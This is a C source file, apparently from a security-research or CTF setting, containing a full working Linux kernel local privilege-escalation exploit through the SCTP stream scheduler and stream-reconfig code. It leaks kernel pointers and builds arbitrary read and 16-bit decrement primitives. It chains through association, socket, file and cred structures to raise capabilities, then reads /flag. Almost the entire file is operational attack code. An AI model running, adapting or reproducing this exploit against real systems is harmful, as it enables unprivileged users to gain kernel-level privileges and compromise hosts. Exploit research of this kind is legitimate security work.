/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define NDISC 128 #define NQREAD 4 #define NARBPROBE 4 #define NSCAN (NDISC + NQREAD + NARBPROBE) #define NTARGET 88 #define NADD (NSCAN + NTARGET) #define NGROOM 128 #define NPRIM_READERS 8 #define NVICTIMS 4 #define NREADERS (NPRIM_READERS + NVICTIMS) #define NEBUSEC_DISCOVERY UINT16_C(0x5f6e) #define NEBUSEC_TARGET_BASE UINT16_C(0x6562) #define NEBUSEC_PRIO UINT16_C(0x7365) /* linux/filter.h is not shipped by the minimal musl wrapper in this * workspace. These are the stable classic-BPF socket ABI definitions. */ struct sock_filter { uint16_t code; uint8_t jt; uint8_t jf; uint32_t k; }; struct sock_fprog { uint16_t len; struct sock_filter *filter; }; #define BPF_RET 0x06 #define BPF_K 0x00 #define BPF_STMT(code_, k_) { (uint16_t)(code_), 0, 0, (k_) } static volatile int stop_threads; static void die(const char *s) { perror(s); exit(1); } static void set_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); (void)sched_setaffinity(0, sizeof(set), &set); } static int assoc_opt(int fd, int opt, uint32_t value) { struct sctp_assoc_value av = { .assoc_id = 0, .assoc_value = value }; return setsockopt(fd, IPPROTO_SCTP, opt, &av, sizeof(av)); } static int stream_set(int fd, uint16_t sid, uint16_t value) { struct sctp_stream_value sv = { .assoc_id = 0, .stream_id = sid, .stream_value = value, }; return setsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE, &sv, sizeof(sv)); } static int stream_get(int fd, uint16_t sid, uint16_t *value) { struct sctp_stream_value sv = { .assoc_id = 0, .stream_id = sid }; socklen_t len = sizeof(sv); int ret = getsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE, &sv, &len); *value = sv.stream_value; return ret; } static int out_streams(int fd) { struct sctp_status st = {0}; socklen_t len = sizeof(st); if (getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &st, &len)) return -errno; return st.sstat_outstrms; } static ssize_t send_sid_flags(int fd, uint16_t sid, const void *buf, size_t len, int flags) { char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0}; struct iovec iov = { .iov_base = (void *)buf, .iov_len = len }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = ctrl, .msg_controllen = sizeof(ctrl), }; struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); struct sctp_sndrcvinfo *si; cm->cmsg_level = IPPROTO_SCTP; cm->cmsg_type = SCTP_SNDRCV; cm->cmsg_len = CMSG_LEN(sizeof(*si)); si = (void *)CMSG_DATA(cm); si->sinfo_stream = sid; return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL | flags); } static ssize_t send_sid(int fd, uint16_t sid, const void *buf, size_t len) { return send_sid_flags(fd, sid, buf, len, 0); } static ssize_t send_sid_ttl(int fd, uint16_t sid, const void *buf, size_t len, uint32_t ttl) { char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0}; struct iovec iov = { .iov_base = (void *)buf, .iov_len = len }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = ctrl, .msg_controllen = sizeof(ctrl), }; struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); struct sctp_sndrcvinfo *si; cm->cmsg_level = IPPROTO_SCTP; cm->cmsg_type = SCTP_SNDRCV; cm->cmsg_len = CMSG_LEN(sizeof(*si)); si = (void *)CMSG_DATA(cm); si->sinfo_stream = sid; si->sinfo_flags = SCTP_PR_SCTP_TTL; si->sinfo_timetolive = ttl; return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL); } /* Keep the peer's denial out of the association until the transient-stream * chunks have expired. Classic socket filters are unprivileged and affect * only receives on this socket; the request and local outqueue still run. */ static int drop_incoming(int fd) { struct sock_filter insn[] = { BPF_STMT(BPF_RET | BPF_K, 0), }; struct sock_fprog prog = { .len = sizeof(insn) / sizeof(insn[0]), .filter = insn, }; return setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)); } static int accept_incoming(int fd) { int one = 1; return setsockopt(fd, SOL_SOCKET, SO_DETACH_FILTER, &one, sizeof(one)); } static void *drain_socket(void *arg) { int fd = *(int *)arg; char buf[65536]; set_cpu(0); while (!stop_threads) { ssize_t n = recv(fd, buf, sizeof(buf), MSG_DONTWAIT); if (n < 0 && errno != EAGAIN && errno != EINTR) break; if (n <= 0) sched_yield(); } return NULL; } static void *lock_sender(void *arg) { int fd = *(int *)arg; static char buf[4096]; struct iovec iov[1]; struct msghdr msg = { .msg_iov = iov, .msg_iovlen = 1 }; memset(buf, '_', sizeof(buf)); iov[0].iov_base = buf; iov[0].iov_len = sizeof(buf); set_cpu(1); while (!stop_threads) { ssize_t n = sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL); usleep(n < 0 ? 10000 : 1000); } return NULL; } static int transient_add(int fd, int base) { struct sctp_add_streams add = { .sas_assoc_id = 0, .sas_outstrms = NADD, }; for (int i = 0; i < 200000; i++) { int ret = setsockopt(fd, IPPROTO_SCTP, SCTP_ADD_STREAMS, &add, sizeof(add)); int now = out_streams(fd); if (!ret && now == base + NADD) { printf("transient base=%d now=%d try=%d\n", base, now, i); return 0; } if (!(i & 0xfff)) printf("retry add i=%d ret=%d errno=%d now=%d\n", i, ret, errno, now); } return -1; } static int wait_outcnt(int fd, int wanted) { for (int i = 0; i < 100000; i++) { int now = out_streams(fd); if (now == wanted) return 0; usleep(100); } return -1; } struct exploit_ctx { int fd; uint16_t next_probe; int target_sid; uint64_t p; uint64_t q; const char *name; }; static void expiry_flush(int fd, const char *tag) { static char byte = 'e'; usleep(20000); for (int i = 0; i < 4; i++) (void)send_sid_ttl(fd, 0, &byte, 1, 1); (void)tag; } /* Add an exact value to a stale fc_length. A sub-frag-point SCTP user * message contributes payload length plus one 16-byte DATA header. */ static int send_exact_delta(int fd, uint16_t sid, uint32_t delta) { static unsigned char payload[64000]; const uint32_t max_contribution = sizeof(payload) + 16; uint32_t chunks, payload_left; if (delta < 17) return -1; chunks = (delta + max_contribution - 1) / max_contribution; if (17 * chunks > delta) return -1; payload_left = delta - 16 * chunks; for (uint32_t i = 0; i < chunks; i++) { uint32_t left_chunks = chunks - i - 1; uint32_t len = payload_left - left_chunks; if (len > sizeof(payload)) len = sizeof(payload); for (;;) { if (send_sid_ttl(fd, sid, payload, len, 1) >= 0) break; if (errno != EAGAIN && errno != ENOBUFS) return -1; expiry_flush(fd, "delta pressure"); } payload_left -= len; /* skb accounting is larger than payload bytes. Twenty-four chunks * leave sndbuf room for the four cleanup triggers above. */ if (i % 24 == 23) expiry_flush(fd, "delta batch"); } return payload_left ? -1 : 0; } static int new_client(uint16_t port) { struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(port) }; struct sctp_initmsg init = { .sinit_num_ostreams = 1, .sinit_max_instreams = 128 }; int fd, sz = 4 << 20, one = 1; inet_pton(AF_INET, "127.0.0.1", &a.sin_addr); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (fd < 0) return -1; setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)); setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_NODELAY, &one, sizeof(one)) || setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) || assoc_opt(fd, SCTP_RECONFIG_SUPPORTED, 1) || assoc_opt(fd, SCTP_ENABLE_STREAM_RESET, SCTP_ENABLE_CHANGE_ASSOC_REQ) || assoc_opt(fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO) || connect(fd, (void *)&a, sizeof(a))) { close(fd); return -1; } { struct sctp_status status = {0}; socklen_t slen = sizeof(status), olen = sizeof(sz); (void)getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, &olen); (void)getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &status, &slen); printf("client sndbuf=%d frag_point=%u\n", sz, status.sstat_fragmentation_point); } return fd; } static int ctx_prepare(struct exploit_ctx *ctx) { static char data[4096]; uint16_t words[4]; int hit_probe = -1, hit_target = -1; uint32_t distance = 0; memset(data, 'n', sizeof(data)); if (send_sid(ctx->fd, 0, data, 1) < 0) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; for (int sid = 1; sid <= NSCAN; sid++) if (stream_set(ctx->fd, sid, NEBUSEC_DISCOVERY)) return -1; for (int j = 0; j < NTARGET; j++) if (stream_set(ctx->fd, NSCAN + 1 + j, NEBUSEC_TARGET_BASE + j)) return -1; if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) || assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; for (int sid = 1; sid <= NDISC; sid++) if (send_sid_ttl(ctx->fd, sid, data, 64 * sid - 16, 1) < 0) return -1; expiry_flush(ctx->fd, "discover"); if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) || assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; for (int sid = 1; sid <= NDISC; sid++) { uint16_t v = 0; if (stream_get(ctx->fd, sid, &v)) return -1; if (hit_probe < 0 && v >= NEBUSEC_TARGET_BASE && v < NEBUSEC_TARGET_BASE + NTARGET) { hit_probe = sid; hit_target = NSCAN + 1 + v - NEBUSEC_TARGET_BASE; } } if (hit_probe < 0) { printf("[%s] no forward priority neighbor\n", ctx->name); /* Keep this failed transient association frozen. Rolling it back * would release the same orphan scheduler state that the primitive * deliberately preserves; later contexts are independent sockets. */ return -2; } distance = 64 * hit_probe; if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) || assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; for (int i = 0; i < 4; i++) { if (send_sid_ttl(ctx->fd, NDISC + 1 + i, data, distance - 40 + 2 * i - 16, 1) < 0) return -1; } expiry_flush(ctx->fd, "head leak"); if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) || assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; ctx->q = 0; for (int i = 0; i < 4; i++) { if (stream_get(ctx->fd, NDISC + 1 + i, &words[i])) return -1; ctx->q |= (uint64_t)words[i] << (16 * i); } ctx->p = ctx->q - distance; ctx->target_sid = hit_target; ctx->next_probe = NDISC + NQREAD + 1; printf("[%s] P=%#llx Q=%#llx target=%d\n", ctx->name, (unsigned long long)ctx->p, (unsigned long long)ctx->q, ctx->target_sid); if ((ctx->q >> 48) != 0xffff) { printf("[%s] invalid leaked pointers\n", ctx->name); return -2; } if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1)) return -1; return 0; } static int ctx_transform(struct exploit_ctx *ctx, uint64_t address, int count) { uint32_t deltas[4]; int64_t diffs[4]; if (count < 1 || count > 4 || ctx->next_probe + count > NSCAN + 1) return -1; for (int i = 0; i < count; i++) { diffs[i] = (int64_t)(address + 2 * i - 40 - ctx->p); if (diffs[i] < 17 || diffs[i] > (256LL << 20)) { printf("[%s] unreachable target=%#llx P=%#llx diff=%lld\n", ctx->name, (unsigned long long)address, (unsigned long long)ctx->p, (long long)diffs[i]); return -2; } deltas[i] = diffs[i]; } printf("[%s] transform address=%#llx delta=%#x probes=%u..%u\n", ctx->name, (unsigned long long)address, deltas[0], ctx->next_probe, ctx->next_probe + count - 1); if (assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ) || drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; for (int i = 0; i < count; i++) if (send_exact_delta(ctx->fd, ctx->next_probe + i, deltas[i])) return -1; expiry_flush(ctx->fd, "arbitrary transform"); if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) || assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO)) return -1; return 0; } static int ctx_reachable(const struct exploit_ctx *ctx, uint64_t address) { int64_t diff = (int64_t)(address - 40 - ctx->p); return diff >= 17 && diff <= (256LL << 20); } static struct exploit_ctx *choose_reader(struct exploit_ctx readers[NREADERS], const int valid[NREADERS], uint64_t address, int probes) { struct exploit_ctx *best = NULL; int64_t best_diff = INT64_MAX; for (int i = 0; i < NREADERS; i++) { int64_t diff = (int64_t)(address - 40 - readers[i].p); if (!valid[i] || !ctx_reachable(&readers[i], address) || readers[i].next_probe + probes > NSCAN + 1) continue; if (diff < best_diff) { best = &readers[i]; best_diff = diff; } } if (!best) printf("[chain] no reader reaches %#llx with %d probes\n", (unsigned long long)address, probes); else printf("[chain] chose %s for %#llx diff=%lld\n", best->name, (unsigned long long)address, (long long)best_diff); return best; } static int ctx_read64(struct exploit_ctx *ctx, uint64_t address, int queue_target, int leave_active, uint64_t *result) { uint16_t words[4]; uint16_t first = ctx->next_probe; static char data[4096]; if (ctx_transform(ctx, address, 4)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; if (queue_target) { /* NODELAY plus a normal byte flushes any packet containing the * outstanding RE-CONFIG control. Subsequent MSG_MORE bytes reach an * empty packet with force_delay set and leave Q on prio_list. */ if (send_sid(ctx->fd, ctx->target_sid, data, 1) < 0) return -1; for (int i = 0; i < 4; i++) if (send_sid_flags(ctx->fd, ctx->target_sid, data, 1, MSG_MORE) < 0) return -1; } *result = 0; for (int i = 0; i < 4; i++) { if (stream_get(ctx->fd, first + i, &words[i])) return -1; *result |= (uint64_t)words[i] << (16 * i); } ctx->next_probe += 4; printf("[%s] read64(%#llx)=%#llx\n", ctx->name, (unsigned long long)address, (unsigned long long)*result); if (!leave_active && (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1))) return -1; return 0; } static int ctx_decrement16(struct exploit_ctx *ctx, uint64_t address) { uint16_t sid = ctx->next_probe; if (ctx_transform(ctx, address, 1)) return -1; if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1)) return -1; /* prio is stored two bytes before users. The nonzero marker avoids the zero * value in the high half of cap_permitted and forces head_put(). */ if (stream_set(ctx->fd, sid, NEBUSEC_PRIO)) return -1; ctx->next_probe++; printf("[%s] decremented u16 at %#llx\n", ctx->name, (unsigned long long)address); return 0; } static void run_chain_client(uint16_t port) { char reader_names[NREADERS][16]; struct exploit_ctx readers[NREADERS] = {0}; struct exploit_ctx *r = NULL; pthread_t drains[NREADERS]; int have_drains = 0; int reader_ok[NREADERS] = {0}; int groom[NGROOM], ngroom = 0; uint64_t prio_list, asoc, sk, sock, file, cred; int ret = 0, exploited = 0; set_cpu(0); for (int i = 0; i < NREADERS; i++) { if (i == NPRIM_READERS) { /* Allocate the final current cred only after the primitive P * samples. The post-capset associations below all pin it. */ for (int j = 0; j < NGROOM; j++) { struct __user_cap_header_struct hdr = { .version = _LINUX_CAPABILITY_VERSION_3, .pid = 0, }; struct __user_cap_data_struct caps[2] = {{0}, {0}}; if (syscall(SYS_capset, &hdr, caps) < 0) { ret = -1; break; } groom[ngroom] = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (groom[ngroom] < 0) { ret = -1; break; } ngroom++; } printf("[chain] zero-capset/socket groom held=%d errno=%d\n", ngroom, errno); } snprintf(reader_names[i], sizeof(reader_names[i]), "_nebusec%d", i); readers[i].name = reader_names[i]; readers[i].fd = new_client(port); if (readers[i].fd < 0) die("new reader"); if (pthread_create(&drains[have_drains], NULL, drain_socket, &readers[i].fd)) die("drain reader"); have_drains++; reader_ok[i] = ctx_prepare(&readers[i]) == 0; if (reader_ok[i] && (!r || readers[i].p < r->p)) r = &readers[i]; } if (!r) { printf("[chain] no usable reader context\n"); ret = -1; } else { printf("[chain] selected %s P=%#llx\n", r->name, (unsigned long long)r->p); } if (ret) goto out; /* Scheduling marker Q inserts it as the tail of stream.prio_list, so * Q->prio_sched.next is the global list head at asoc+0x580. Try each * post-capset association: their files pin the same current cred, while * their file addresses sample independent slabs. */ for (int attempt = NPRIM_READERS; attempt < NREADERS && !exploited; attempt++) { struct exploit_ctx *source = &readers[attempt]; if (!reader_ok[attempt]) continue; if (source->next_probe + 4 > NSCAN + 1) continue; if (ctx_read64(source, source->q, 1, 0, &prio_list)) goto out; /* A later scheduler switch would head_put() these fake heads and * decrement the words following the read. Never reuse a context. */ reader_ok[attempt] = 0; asoc = prio_list - 0x580; if ((prio_list >> 48) != 0xffff || prio_list == source->q || asoc + 0x580 != prio_list) { printf("[chain] %s invalid prio_list=%#llx\n", source->name, (unsigned long long)prio_list); continue; } printf("[chain] %s prio_list=%#llx asoc=%#llx\n", source->name, (unsigned long long)prio_list, (unsigned long long)asoc); r = choose_reader(readers, reader_ok, asoc + 16, 4); if (!r) continue; if (ctx_read64(r, asoc + 16, 0, 0, &sk)) goto out; reader_ok[r - readers] = 0; r = choose_reader(readers, reader_ok, sk + 288, 4); if (!r) continue; if (ctx_read64(r, sk + 288, 0, 0, &sock)) goto out; reader_ok[r - readers] = 0; r = choose_reader(readers, reader_ok, sock + 16, 4); if (!r) continue; if (ctx_read64(r, sock + 16, 0, 0, &file)) goto out; reader_ok[r - readers] = 0; r = choose_reader(readers, reader_ok, file + 48, 4); if (!r) { printf("[chain] retrying through another association\n"); continue; } if (ctx_read64(r, file + 48, 0, 0, &cred)) goto out; reader_ok[r - readers] = 0; printf("[chain] asoc=%#llx sk=%#llx socket=%#llx file=%#llx cred=%#llx\n", (unsigned long long)asoc, (unsigned long long)sk, (unsigned long long)sock, (unsigned long long)file, (unsigned long long)cred); r = choose_reader(readers, reader_ok, cred + 62, 1); if (!r || ctx_decrement16(r, cred + 62)) goto out; reader_ok[r - readers] = 0; exploited = 1; } if (!exploited) { printf("[chain] exhausted equivalent association paths\n"); goto out; } { int statusfd = open("/proc/self/status", O_RDONLY); char status[4096] = {0}; ssize_t status_n = statusfd >= 0 ? read(statusfd, status, sizeof(status) - 1) : -1; int flagfd = open("/flag", O_RDONLY); char flag[256] = {0}; ssize_t n = flagfd >= 0 ? read(flagfd, flag, sizeof(flag) - 1) : -1; if (statusfd >= 0) close(statusfd); if (status_n > 0) { char *cap = strstr(status, "CapEff:"); if (cap) printf("[chain] %.25s\n", cap); } printf("[chain] flagfd=%d n=%zd errno=%d FLAG=%s\n", flagfd, n, errno, n > 0 ? flag : ""); /* Closing an association would put the deliberately forged priority * heads. Once the flag is printed, leave cleanup to the VM runner. */ if (n > 0) for (;;) pause(); } out: for (int i = 0; i < NREADERS; i++) (void)accept_incoming(readers[i].fd); stop_threads = 1; for (int i = 0; i < have_drains; i++) pthread_join(drains[i], NULL); for (int i = 0; i < NREADERS; i++) close(readers[i].fd); for (int i = 0; i < ngroom; i++) close(groom[i]); } int main(void) { struct sockaddr_in a = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK) }; struct sctp_initmsg init = { .sinit_num_ostreams = 1, .sinit_max_instreams = 128 }; socklen_t alen = sizeof(a); int lfd, peers[NREADERS], sz = 4 << 20; int st, child_reaped = 0; pid_t pid; pthread_t lockers[NREADERS], server_rxs[NREADERS]; setvbuf(stdout, NULL, _IONBF, 0); printf("uid=%u gid=%u\n", getuid(), getgid()); lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (lfd < 0) die("socket server"); if (setsockopt(lfd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) || assoc_opt(lfd, SCTP_RECONFIG_SUPPORTED, 1)) die("server opts"); if (bind(lfd, (void *)&a, sizeof(a)) || listen(lfd, NREADERS) || getsockname(lfd, (void *)&a, &alen)) die("server bind"); pid = fork(); if (pid < 0) die("fork"); if (!pid) { close(lfd); run_chain_client(ntohs(a.sin_port)); _exit(0); } set_cpu(1); for (int i = 0; i < NREADERS; i++) { peers[i] = accept(lfd, NULL, NULL); if (peers[i] < 0) die("accept peer"); setsockopt(peers[i], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)); if (pthread_create(&lockers[i], NULL, lock_sender, &peers[i])) die("locker"); if (pthread_create(&server_rxs[i], NULL, drain_socket, &peers[i])) die("server rx"); } while (waitpid(pid, &st, WNOHANG) != pid) usleep(1000); child_reaped = 1; stop_threads = 1; for (int i = 0; i < NREADERS; i++) { pthread_join(lockers[i], NULL); pthread_join(server_rxs[i], NULL); close(peers[i]); } if (!child_reaped) waitpid(pid, &st, 0); printf("child status=%#x\n", st); return 0; }